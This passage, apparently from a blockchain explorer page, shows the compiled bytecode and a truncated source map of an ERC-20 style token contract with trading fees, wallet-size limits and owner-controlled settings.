8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119a35760145461195683610c14565b826119619190612cc5565b11156119a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199990612ac5565b60405180910390fd5b5b60006119ae30610c14565b9050601260159054906101000a900460ff16158015611a1b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a335750601260169054906101000a900460ff165b8015611a3f5750600081115b15611a6757611a4d81611bde565b60004790506000811115611a6557611a6447611ed8565b5b505b611b14848484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b0e5750600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f44565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c6a5781602001602082028036833780820191505090505b5090503081600081518110611ca8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d4a57600080fd5b505afa158015611d5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8291906125c2565b81600181518110611dbc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e2330601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611270565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e87959493929190612bfb565b600060405180830381600087803b158015611ea157600080fd5b505af1158015611eb5573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f40573d6000803e3d6000fd5b5050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f939190612f17565b92505081905550600081611fa75782611fb3565b611fb2858585612077565b5b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120049190612cc5565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120689190612be0565b60405180910390a35050505050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120d857506000600854115b1561217b57601060009054906101000a900461ffff1661ffff16600554836121009190612ebd565b61210a9190612d1b565b600d81905550601060009054906101000a900461ffff1661ffff16600654836121339190612ebd565b61213d9190612d1b565b600e81905550601060009054906101000a900461ffff1661ffff16600754836121669190612ebd565b6121709190612d1b565b600f8190555061227a565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121da57506000600c54115b1561227957601060009054906101000a900461ffff1661ffff16600954836122029190612ebd565b61220c9190612d1b565b600d81905550601060009054906101000a900461ffff1661ffff16600a54836122359190612ebd565b61223f9190612d1b565b600e81905550601060009054906101000a900461ffff1661ffff16600b54836122689190612ebd565b6122729190612d1b565b600f819055505b5b600d5460016000601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122ed9190612cc5565b92505081905550601060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040516123759190612be0565b60405180910390a3600e546001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123d09190612cc5565b92505081905550600e546013546123e79190612f17565b6013819055506123f5610872565b60138190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e5460405161245c9190612be0565b60405180910390a3600f54600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124b59190612cc5565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405161251b9190612be0565b60405180910390a36000600f54600e54600d546125389190612cc5565b6125429190612cc5565b905080836125509190612f17565b9150509392505050565b600081359050612569816133da565b92915050565b60008151905061257e816133da565b92915050565b600081359050612593816133f1565b92915050565b6000602082840312156125ab57600080fd5b60006125b98482850161255a565b91505092915050565b6000602082840312156125d457600080fd5b60006125e28482850161256f565b91505092915050565b600080604083850312156125fe57600080fd5b600061260c8582860161255a565b925050602061261d8582860161255a565b9150509250929050565b60008060006060848603121561263c57600080fd5b600061264a8682870161255a565b935050602061265b8682870161255a565b925050604061266c86828701612584565b9150509250925092565b6000806040838503121561268957600080fd5b60006126978582860161255a565b92505060206126a885828601612584565b9150509250929050565b600080604083850312156126c557600080fd5b60006126d385828601612584565b92505060206126e485828601612584565b9150509250929050565b60006126fa8383612706565b60208301905092915050565b61270f81612f4b565b82525050565b61271e81612f4b565b82525050565b600061272f82612c80565b6127398185612ca3565b935061274483612c70565b8060005b8381101561277557815161275c88826126ee565b975061276783612c96565b925050600181019050612748565b5085935050505092915050565b61278b81612f5d565b82525050565b61279a81612fae565b82525050565b60006127ab82612c8b565b6127b58185612cb4565b93506127c5818560208601612fc0565b6127ce81613051565b840191505092915050565b60006127e6602383612cb4565b91506127f18261306f565b604082019050919050565b6000612809601983612cb4565b9150612814826130be565b602082019050919050565b600061282c603183612cb4565b9150612837826130e7565b604082019050919050565b600061284f602683612cb4565b915061285a82613136565b604082019050919050565b6000612872602283612cb4565b915061287d82613185565b604082019050919050565b6000612895602283612cb4565b91506128a0826131d4565b604082019050919050565b60006128b8602883612cb4565b91506128c382613223565b604082019050919050565b60006128db602083612cb4565b91506128e682613272565b602082019050919050565b60006128fe602983612cb4565b91506129098261329b565b604082019050919050565b6000612921602583612cb4565b915061292c826132ea565b604082019050919050565b6000612944601a83612cb4565b915061294f82613339565b602082019050919050565b6000612967602483612cb4565b915061297282613362565b604082019050919050565b600061298a601783612cb4565b9150612995826133b1565b602082019050919050565b6129a981612f69565b82525050565b6129b881612f97565b82525050565b6129c781612fa1565b82525050565b60006020820190506129e26000830184612715565b92915050565b60006020820190506129fd6000830184612782565b92915050565b60006020820190508181036000830152612a1d81846127a0565b905092915050565b60006020820190508181036000830152612a3e816127d9565b9050919050565b60006020820190508181036000830152612a5e816127fc565b9050919050565b60006020820190508181036000830152612a7e8161281f565b9050919050565b60006020820190508181036000830152612a9e81612842565b9050919050565b60006020820190508181036000830152612abe81612865565b9050919050565b60006020820190508181036000830152612ade81612888565b9050919050565b60006020820190508181036000830152612afe816128ab565b9050919050565b60006020820190508181036000830152612b1e816128ce565b9050919050565b60006020820190508181036000830152612b3e816128f1565b9050919050565b60006020820190508181036000830152612b5e81612914565b9050919050565b60006020820190508181036000830152612b7e81612937565b9050919050565b60006020820190508181036000830152612b9e8161295a565b9050919050565b60006020820190508181036000830152612bbe8161297d565b9050919050565b6000602082019050612bda60008301846129a0565b92915050565b6000602082019050612bf560008301846129af565b92915050565b600060a082019050612c1060008301886129af565b612c1d6020830187612791565b8181036040830152612c2f8186612724565b9050612c3e6060830185612715565b612c4b60808301846129af565b9695505050505050565b6000602082019050612c6a60008301846129be565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612cd082612f97565b9150612cdb83612f97565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d1057612d0f612ff3565b5b828201905092915050565b6000612d2682612f97565b9150612d3183612f97565b925082612d4157612d40613022565b5b828204905092915050565b6000808291508390505b6001851115612d9657808604811115612d7257612d71612ff3565b5b6001851615612d815780820291505b8081029050612d8f85613062565b9450612d56565b94509492505050565b6000612daa82612f97565b9150612db583612fa1565b9250612de27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612dea565b905092915050565b600082612dfa5760019050612eb6565b81612e085760009050612eb6565b8160018114612e1e5760028114612e2857612e57565b6001915050612eb6565b60ff841115612e3a57612e39612ff3565b5b8360020a915084821115612e5157612e50612ff3565b5b50612eb6565b5060208310610133831016604e8410600b8410161715612e8c5782820a905083811115612e8757612e86612ff3565b5b612eb6565b612e998484846001612d4c565b92509050818404811115612eb057612eaf612ff3565b5b81810290505b9392505050565b6000612ec882612f97565b9150612ed383612f97565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f0c57612f0b612ff3565b5b828202905092915050565b6000612f2282612f97565b9150612f2d83612f97565b925082821015612f4057612f3f612ff3565b5b828203905092915050565b6000612f5682612f77565b9050919050565b60008115159050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fb982612f97565b9050919050565b60005b83811015612fde578082015181840152602081019050612fc3565b83811115612fed576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f526563697069656e742065786365656473206d61782077616c6c65742073697a60008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b6133e381612f4b565b81146133ee57600080fd5b50565b6133fa81612f97565b811461340557600080fd5b5056fea26469706673582212206a5753b4168410c17e2ea2014f753bab6174b5311e4d3ae457034f23317d7f9e64736f6c63430008040033
Deployed Bytecode Sourcemap
4393:10713:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5521:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8182:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9055:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8336:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8574:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5474:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5434:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9201:420;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8499:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14485:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12310:250;;;;;;;;;;;;;:::i;:::-;;14247:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5168:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5124:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8661:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4990:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8257:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2852:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5207:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8420:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5349:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14616:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5601:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8770:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5031:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3058:92;;;;;;;;;;;;;:::i;:::-;;11554:261;;;;;;;;;;;;;:::i;:::-;;4952:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5393:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5251:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8920:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14366:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14744:217;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4907:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3158:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5521:73;5552:42;5521:73;:::o;8182:69::-;8219:13;8243:5;;;;;;;;;;;;;;;;;8236:12;;8182:69;:::o;9055:138::-;9130:4;9138:39;9147:12;:10;:12::i;:::-;9161:7;9170:6;9138:8;:39::i;:::-;9186:4;9179:11;;9055:138;;;;:::o;8336:78::-;8380:7;8397:15;;8390:22;;8336:78;:::o;8574:81::-;8627:7;8645;;8638:14;;8574:81;:::o;5474:38::-;;;;;;;;;;;;;:::o;5434:33::-;;;;:::o;9201:420::-;9307:4;9324:36;9334:6;9342:9;9353:6;9324:9;:36::i;:::-;9373:24;9400:11;:19;9412:6;9400:19;;;;;;;;;;;;;;;:33;9420:12;:10;:12::i;:::-;9400:33;;;;;;;;;;;;;;;;9373:60;;9472:6;9452:16;:26;;9444:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9534:57;9543:6;9551:12;:10;:12::i;:::-;9584:6;9565:16;:25;;;;:::i;:::-;9534:8;:57::i;:::-;9609:4;9602:11;;;9201:420;;;;;:::o;8499:69::-;8540:5;4897:1;8549:16;;8499:69;:::o;14485:123::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14599:4:::1;14559:28;:37;14588:7;14559:37;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;14485:123:::0;:::o;12310:250::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12402:3:::1;12379:20;:26;;;;12434:1;12416:15;:19;;;;12465:3;12446:16;:22;;;;12536:16;;12518:15;;12495:20;;:38;;;;:::i;:::-;:57;;;;:::i;:::-;12479:13;:73;;;;12310:250::o:0;14247:111::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14346:4:::1;14316:18;:27;14335:7;14316:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;14247:111:::0;:::o;5168:32::-;;;;:::o;5124:37::-;;;;:::o;8661:103::-;8727:7;8745;:16;8753:7;8745:16;;;;;;;;;;;;;;;;8738:23;;8661:103;;;:::o;4990:34::-;;;;:::o;8257:73::-;8300:7;8317:11;;8310:18;;8257:73;:::o;2852:71::-;2898:7;2915:6;;;;;;;;;;;2908:13;;2852:71;:::o;5207:37::-;;;;:::o;8420:73::-;8459:13;8483:7;;;;;;;;;;;;;;;;;8476:14;;8420:73;:::o;5349:37::-;;;;:::o;14616:122::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14728:5:::1;14688:28;:37;14717:7;14688:37;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;14616:122:::0;:::o;5601:26::-;;;;;;;;;;;;;:::o;8770:144::-;8848:4;8856:42;8866:12;:10;:12::i;:::-;8880:9;8891:6;8856:9;:42::i;:::-;8907:4;8900:11;;8770:144;;;;:::o;5031:84::-;;;;:::o;3058:92::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3122:21:::1;3140:1;3122:9;:21::i;:::-;3058:92::o:0;11554:261::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11780:5:::1;11766:11;;:19;;;;;;;;;;;;;;;;;;11801:5;11787:11;;:19;;;;;;;;;;;;;;;;;;11554:261::o:0;4952:31::-;;;;:::o;5393:32::-;;;;:::o;5251:89::-;;;;:::o;8920:129::-;9001:7;9019:11;:18;9031:5;9019:18;;;;;;;;;;;;;;;:27;9038:7;9019:27;;;;;;;;;;;;;;;;9012:34;;8920:129;;;;:::o;14366:110::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14463:5:::1;14433:18;:27;14452:7;14433:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;14366:110:::0;:::o;14744:217::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4897:1:::1;14879:2;:14;;;;:::i;:::-;14864:12;:29;;;;:::i;:::-;14850:11;:43;;;;4897:1;14939:2;:14;;;;:::i;:::-;14922;:31;;;;:::i;:::-;14904:15;:49;;;;14744:217:::0;;:::o;4907:38::-;;;;:::o;3158:192::-;2982:12;:10;:12::i;:::-;2971:23;;:7;:5;:7::i;:::-;:23;;;2963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3267:1:::1;3247:22;;:8;:22;;;;3239:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3323:19;3333:8;3323:9;:19::i;:::-;3158:192:::0;:::o;2448:82::-;2501:7;2518:10;2511:17;;2448:82;:::o;9629:335::-;9739:1;9722:19;;:5;:19;;;;9714:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9820:1;9801:21;;:7;:21;;;;9793:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9902:6;9872:11;:18;9884:5;9872:18;;;;;;;;;;;;;;;:27;9891:7;9872:27;;;;;;;;;;;;;;;:36;;;;9940:7;9924:32;;9933:5;9924:32;;;9949:6;9924:32;;;;;;:::i;:::-;;;;;;;;9629:335;;;:::o;9972:1576::-;10076:1;10060:18;;:4;:18;;;;10052:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10153:1;10139:16;;:2;:16;;;;10131:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10223:1;10214:6;:10;10206:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10299:15;10309:4;10299:9;:15::i;:::-;10289:6;:25;;10281:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;10390:11;;;;;;;;;;;:39;;;;10405:18;:24;10424:4;10405:24;;;;;;;;;;;;;;;;;;;;;;;;;10390:39;:65;;;;10433:18;:22;10452:2;10433:22;;;;;;;;;;;;;;;;;;;;;;;;;10390:65;10382:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;10508:13;;;;;;;;;;;10500:21;;:4;:21;;;:55;;;;;10539:15;;;;;;;;;;;10525:30;;:2;:30;;;;10500:55;:83;;;;;10561:18;:22;10580:2;10561:22;;;;;;;;;;;;;;;;;;;;;;;;;10559:24;10500:83;10496:278;;;10622:11;;10612:6;:21;;10604:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10716:15;;10706:6;10690:13;10700:2;10690:9;:13::i;:::-;:22;;;;:::i;:::-;:41;;10682:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;10496:278;10796:13;;;;;;;;;;;10788:21;;:4;:21;;;:55;;;;;10827:15;;;;;;;;;;;10813:30;;:2;:30;;;;10788:55;:93;;;;;10849:28;:32;10878:2;10849:32;;;;;;;;;;;;;;;;;;;;;;;;;10847:34;10788:93;10784:231;;;10949:15;;10932:13;10942:2;10932:9;:13::i;:::-;10923:6;:22;;;;:::i;:::-;:41;;10915:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;10784:231;11027:28;11058:24;11076:4;11058:9;:24::i;:::-;11027:55;;11102:6;;;;;;;;;;;11101:7;:32;;;;;11120:13;;;;;;;;;;;11112:21;;:4;:21;;;;11101:32;:47;;;;;11137:11;;;;;;;;;;;11101:47;:73;;;;;11173:1;11152:20;:22;11101:73;11097:344;;;11195:38;11212:20;11195:16;:38::i;:::-;11252:26;11281:21;11252:50;;11345:1;11324:18;:22;11321:105;;;11371:35;11384:21;11371:12;:35::i;:::-;11321:105;11097:344;;11453:87;11468:4;11474:2;11478:6;11488:18;:24;11507:4;11488:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;11516:18;:22;11535:2;11516:22;;;;;;;;;;;;;;;;;;;;;;;;;11488:50;11486:53;11453:14;:87::i;:::-;9972:1576;;;;:::o;3358:173::-;3414:16;3433:6;;;;;;;;;;;3414:25;;3459:8;3450:6;;:17;;;;;;;;;;;;;;;;;;3514:8;3483:40;;3504:8;3483:40;;;;;;;;;;;;3358:173;;:::o;11821:483::-;6138:4;6129:6;;:13;;;;;;;;;;;;;;;;;;11899:21:::1;11937:1;11923:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11899:40;;11968:4;11950;11955:1;11950:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;11994:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11984:4;11989:1;11984:7;;;;;;;;;;;;;;;;;;;;;:32;;;;;;;;;::::0;::::1;12027:62;12044:4;12059:15;;;;;;;;;;;12077:11;12027:8;:62::i;:::-;12100:15;;;;;;;;;;;:66;;;12181:11;12207:1;12223:4;12250;12270:15;12100:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;6153:1;6174:5:::0;6165:6;;:14;;;;;;;;;;;;;;;;;;11821:483;:::o;14967:95::-;15024:13;;;;;;;;;;;:22;;:30;15047:6;15024:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14967:95;:::o;12566:340::-;12693:6;12674:7;:15;12682:6;12674:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;12710:22;12736:7;12735:57;;12786:6;12735:57;;;12747:36;12757:6;12765:9;12776:6;12747:9;:36::i;:::-;12735:57;12710:82;;12825:14;12803:7;:18;12811:9;12803:18;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;12872:9;12855:43;;12864:6;12855:43;;;12883:14;12855:43;;;;;;:::i;:::-;;;;;;;;12566:340;;;;;:::o;12912:1329::-;12991:7;13022:13;;;;;;;;;;;13014:21;;:4;:21;;;:41;;;;;13054:1;13039:12;;:16;13014:41;13011:637;;;13130:16;;;;;;;;;;;13099:47;;13108:19;;13099:6;:28;;;;:::i;:::-;:47;;;;:::i;:::-;13074:22;:72;;;;13207:16;;;;;;;;;;;13181:42;;13190:14;;13181:6;:23;;;;:::i;:::-;:42;;;;:::i;:::-;13161:17;:62;;;;13295:16;;;;;;;;;;;13268:43;;13277:15;;13268:6;:24;;;;:::i;:::-;:43;;;;:::i;:::-;13247:18;:64;;;;13011:637;;;13343:13;;;;;;;;;;;13337:19;;:2;:19;;;:41;;;;;13377:1;13361:13;;:17;13337:41;13333:315;;;13454:16;;;;;;;;;;;13422:48;;13431:20;;13422:6;:29;;;;:::i;:::-;:48;;;;:::i;:::-;13397:22;:73;;;;13532:16;;;;;;;;;;;13505:43;;13514:15;;13505:6;:24;;;;:::i;:::-;:43;;;;:::i;:::-;13485:17;:63;;;;13612:16;;;;;;;;;;;13584:44;;13593:16;;13584:6;:25;;;;:::i;:::-;:44;;;;:::i;:::-;13563:18;:65;;;;13333:315;13011:637;13682:22;;13658:7;:20;13666:11;;;;;;;;;;;13658:20;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;13735:11;;;;;;;;;;;13720:51;;13729:4;13720:51;;;13748:22;;13720:51;;;;;;:::i;:::-;;;;;;;;13809:17;;13792:7;:13;5552:42;13792:13;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;13857:17;;13847:7;;:27;;;;:::i;:::-;13837:7;:37;;;;13895:13;:11;:13::i;:::-;13885:7;:23;;;;5552:42;13924:39;;13933:4;13924:39;;;13945:17;;13924:39;;;;;;:::i;:::-;;;;;;;;14018:18;;13992:7;:22;14008:4;13992:22;;;;;;;;;;;;;;;;:44;;;;;;;:::i;:::-;;;;;;;;14075:4;14052:49;;14061:4;14052:49;;;14082:18;;14052:49;;;;;;:::i;:::-;;;;;;;;14114:17;14179:18;;14159:17;;14134:22;;:42;;;;:::i;:::-;:63;;;;:::i;:::-;14114:83;;14224:9;14215:6;:18;;;;:::i;:::-;14208:25;;;12912:1329;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;353:87;;;;:::o;446:262::-;505:6;554:2;542:9;533:7;529:23;525:32;522:2;;;570:1;567;560:12;522:2;613:1;638:53;683:7;674:6;663:9;659:22;638:53;:::i;:::-;628:63;;584:117;512:196;;;;:::o;714:284::-;784:6;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:64;973:7;964:6;953:9;949:22;917:64;:::i;:::-;907:74;;863:128;791:207;;;;:::o;1004:407::-;1072:6;1080;1129:2;1117:9;1108:7;1104:23;1100:32;1097:2;;;1145:1;1142;1135:12;1097:2;1188:1;1213:53;1258:7;1249:6;1238:9;1234:22;1213:53;:::i;:::-;1203:63;;1159:117;1315:2;1341:53;1386:7;1377:6;1366:9;1362:22;1341:53;:::i;:::-;1331:63;;1286:118;1087:324;;;;;:::o;1417:552::-;1494:6;1502;1510;1559:2;1547:9;1538:7;1534:23;1530